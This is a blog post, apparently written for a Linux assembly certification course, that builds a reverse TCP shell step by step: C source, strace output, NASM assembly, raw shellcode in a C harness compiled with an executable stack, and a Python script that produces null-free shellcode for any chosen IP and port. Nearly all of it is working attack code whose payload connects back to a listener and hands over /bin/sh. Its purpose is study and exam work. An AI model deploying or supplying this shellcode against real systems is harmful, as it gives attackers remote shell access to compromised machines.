SLAE: Reverse TCP Shell – Assignment 2

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1046
Assignment: Create a shell_reverse_tcp shellcode that connects to an IP:Port and execute a shell. The IP and port number should be easy to configure.

Prestudy

The idea is to first compile a reverse shell written in C and then use strace to see which calls it makes. Once that’s done we’ll recreate it in nasm.

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    // Declare variables
    int sockfd;
    struct sockaddr_in serv_addr;
    // Create our socket
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    // IPv4
    serv_addr.sin_family = AF_INET;
    // Declare dest IP
    serv_addr.sin_addr.s_addr = inet_addr("192.168.0.106");
    // Declare dest Port
    serv_addr.sin_port = htons(4444);
    // Connect to our target IP
    connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
    // Duplicate the file descriptors
    // stdin = 0, stdout = 1, stderr = 2
    int i;
    for (i=0; i <= 2; i++){
        dup2(sockfd, i);
    }
    // Spawn the shell
    char *argv[] = {"/bin/sh", NULL};
    execve(argv[0], argv, NULL);
}

Time to compile and run strace. Note that the e argument has been provided. This is to limit the otherwise quite expansive output.

$ gcc reverse.c -o rev
$
$ strace -e socket,connect,dup2,execve ./rev
execve("./rev", ["./rev"], [/* 21 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.0.106")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0
$
$

Pretty cool. This is what we now must re-create in nasm.

Nasm

In /usr/include/i386-linux-gnu/asm/unistd_32.h we dig up the needed syscalls.

egrep "execve|dup2|socketcall" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve              11
#define __NR_dup2                63
#define __NR_socketcall         102

Note that these numbers might need to be converted to hex

Let’s start by looking at the man page for socketcall.
Syntax: int socketcall(int call, unsigned long *args);

Now let’s find out which call we need to make. In /usr/include/linux/net.h we find the following:

#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */
#define SYS_GETSOCKNAME 6               /* sys_getsockname(2)           */
#define SYS_GETPEERNAME 7               /* sys_getpeername(2)           */
#define SYS_SOCKETPAIR  8               /* sys_socketpair(2)            */
#define SYS_SEND        9               /* sys_send(2)                  */
#define SYS_RECV        10              /* sys_recv(2)                  */
#define SYS_SENDTO      11              /* sys_sendto(2)                */
#define SYS_RECVFROM    12              /* sys_recvfrom(2)              */
#define SYS_SHUTDOWN    13              /* sys_shutdown(2)              */
#define SYS_SETSOCKOPT  14              /* sys_setsockopt(2)            */
#define SYS_GETSOCKOPT  15              /* sys_getsockopt(2)            */
#define SYS_SENDMSG     16              /* sys_sendmsg(2)               */
#define SYS_RECVMSG     17              /* sys_recvmsg(2)               */
#define SYS_ACCEPT4     18              /* sys_accept4(2)               */
#define SYS_RECVMMSG    19              /* sys_recvmmsg(2)              */
#define SYS_SENDMMSG    20              /* sys_sendmmsg(2)              */

Socket = 1
Connect = 3

Assembly

Let’s type this out.

; Filename: reverse.nasm
; Author:  Alex
; SLAE-ID: SLAE-1046
; Website:  http://0xdeadcode.se
;
; Purpose: Assignment 2 - SLAE Exam
;          Reverse Shell

global _start

section .text
_start:

        ; int socketcall(int call, unsigned long *args) from man page
        ; int sock = socket(AF_INET, SOCK_STREAM, 0)    from bind shell code
        ; SOCK_STREAM is represented by 1
        ; AF_INET is represented by 2
        ; push args on stack (in reverse order)
        ; put selected call (socket = 1) in ebx
        ; put syscall hex(nr) in eax

        xor eax, eax
        xor ebx, ebx
        ; xor edi, edi  ; MIGHT FIX THIS LATER

        push eax                ; push 0 to stack
        inc eax
        push eax                ; push 1 to stack (SOCK_STREAM)
        inc eax
        push eax                ; push 2 to stack (AF_INET)

        mov al, 0x66            ; socketcall (102 dec is 0x66)
        mov bl, 0x1             ; socket()
        mov ecx, esp            ; pointer to the arguments we pushed
        int 0x80                ; syscall
        mov edx, eax            ; save return value (sockfd)


        ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
        ;struct sockaddr_in {
        ;  __kernel_sa_family_t  sin_family;     /* Address family               */
        ;  __be16                sin_port;       /* Port number                  */
        ;  struct in_addr        sin_addr;       /* Internet address             */
        ;};

        ; Issue with NULL in IP:
        ; 0x6A00A8C0 is 192.168.0.106 in reverse
        ; this is not good. our dest IP contain a null
        ; we'll fix this with xor
        ; 0x95ff573f is result of:
        ;       mov edi, 0xFFFFFFFF
        ;       xor edi, 0x6A00A8C0
        ; this mean we can use the xor:ed value and xor it again to get our IP with the null

        mov edi, 0xFFFFFFFF
        xor edi, 0x95ff573f
        push edi
        push word 0x5c11        ; push port number 4444 in reverse
        inc ebx                 ; ebx is increased with 1 from 0x1
        push word bx            ; AF_INET = 2
        mov ecx, esp            ; pointer to sockaddr struct
        push 0x10               ; length of the sockaddr struct (decimal 16)
        push ecx                ; push pointer to sockaddr
        push edx                ; push pointer to sockfd
        mov ecx, esp            ; pointer to sockaddr_in struct
        mov al, 0x66            ; socketcall (102 dec is 0x66)
        inc ebx                 ; connect (0x3)
        int 0x80                ; syscall

        ; point stdin, stdout and stderr to our new socket
        ; from linux man pages: int dup2(int oldfd, int newfd)
        ; edx is the socket we created at start

        xor ecx, ecx
        mov cl, 0x2             ; initiate our counter (0x2)
        mov ebx, edx            ; move socket into ebx (sockfd)
        loc_loop:
        mov al, 0x3f            ; dup2 req. eax being 0x3f
        int 0x80                ; syscall
        dec ecx                 ; decrease ecx (socket newfd)
        jns loc_loop            ; jump if loop ain't done (ecx != 0)


        ; execve /bin/sh
        ; int execve(const char *filename, char *const argv[], char *const envp[]);
        ; execve("/bin/sh", argv, NULL);
        ; eax should contain 0xb

        xor edi, edi
        push edi                ; register is 0x0 at this time. push null on stack
        mov al, 0xb             ; sys_execve (decimal 11)
        push 0x68732f2f         ; hs//
        push 0x6e69622f         ; nib/
        mov ebx, esp            ; save pointer to /bin/sh
        push edi                ; register is 0x0 at this time. push null on stack
        mov edx, esp            ; move pointer to null into edx
        push ebx                ; push pointer to /bin/sh onto stack
        mov ecx, esp            ; move stack pointer to ecx
        int 0x80                ; syscall

Assemble and link it, then test it. It work just fine so let’s check (just in case) if our code contains any null bytes, it shouldn’t but who knows.

Looks good!

Shellcode

Sweet, everything looks good so far. Thanks to this great one-liner we can extract the shellcode and put it into a C program and execute it.

objdump -D ./reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\xb0\x66\xb3\x01\x89\xe1\xcd\x80\x89\xc2\xbf\xff"
"\xff\xff\xff\x81\xf7\x3f\x57\xff\x95\x57\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10"
"\x51\x52\x89\xe1\xb0\x66\x43\xcd\x80\x31\xc9\xb1\x02\x89\xd3\xb0\x3f\xcd\x80\x49\x79"
"\xf9\x31\xff\x57\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x57\x89\xe2"
"\x53\x89\xe1\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

Compile and execute!

gcc -fno-stack-protector -z execstack -m32 shellcode.c -o rev_shell_4444

Let’s execute it!


Executing the shell

Catching the shell with nc

Beautiful!

Making stuff easy

The current shellcode contains instructions that are unnecessary if the IP doesn’t contain a null byte. Let’s keep this in mind when we create the python wrapper that will generate the shellcode. Perhaps it is possible to add instructions to avoid the nulls in the code. The idea is to XOR the IP with 0xFFFFFFFF and put the XOR:ed value into the shellcode, and then during run-time XOR it again to regain the original value. Nifty! When there’s no null bytes in the IP we should of course skip the code that will XOR with 0xFFFFFFFF.

#!/usr/bin/env python2
from sys import argv

ip = argv[1]
port = int(argv[2])
hexport = hex(int(port)).replace('0x', '')

if len(hexport) < 4:
   hexport = '0' + hexport

hexport = '\\x%s\\x%s' % (hexport[0:2], hexport[2:])
arr = ip.split('.')

nullbyte = False
for i in xrange(0, len(arr)):
    arr[i] = int(arr[i])
    if arr[i] == 0:
        nullbyte = True

if nullbyte:
    for i in xrange(0, len(arr)):
        arr[i] = arr[i]^0xFF
for i in xrange(0, len(arr)):
    t ='\\x'
    t += '%02x' % int(arr[i])
    arr[i] =  t

arr = ''.join(arr)

sc = "\\x31\\xc0\\x31\\xdb\\x50\\x40\\x50\\x40\\x50\\xb0\\x66\\xb3\\x01\\x89\\xe1\\xcd\\x80\\x89\\xc2"
if nullbyte:
    # mov edi, 0xFFFFFFFF
    sc += "\\xbf\\xff\\xff\\xff\\xff"
    # xor edi, 0x95FF573F
    sc += "\\x81\\xf7" + arr
else:
    sc += "\\xbf" + arr
# push edi, pushw
sc += "\\x57\\x66\\x68"
# port nr
sc += hexport
#"\x11\x5c"
sc += "\\x43\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x52\\x89\\xe1\\xb0\\x66\\x43\\xcd\\x80\\x31\\xc9"
sc += "\\xb1\\x02\\x89\\xd3\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xff\\x57\\xb0\\x0b\\x68\\x2f"
sc += "\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x57\\x89\\xe2\\x53\\x89\\xe1\\xcd\\x80"

print 'IP: %s' % ip
print 'IPHex: %s' % arr
print 'Port: %d' % port
print 'Hexport: %s\nShellcode:\n' % hexport
print sc

And let’s try it out!

Note the difference in length, really sweet.

Github Links

Reverse Shell in C
Nasm Reverse Shell
Python IP:Port Code
Shellcode.c

Great success!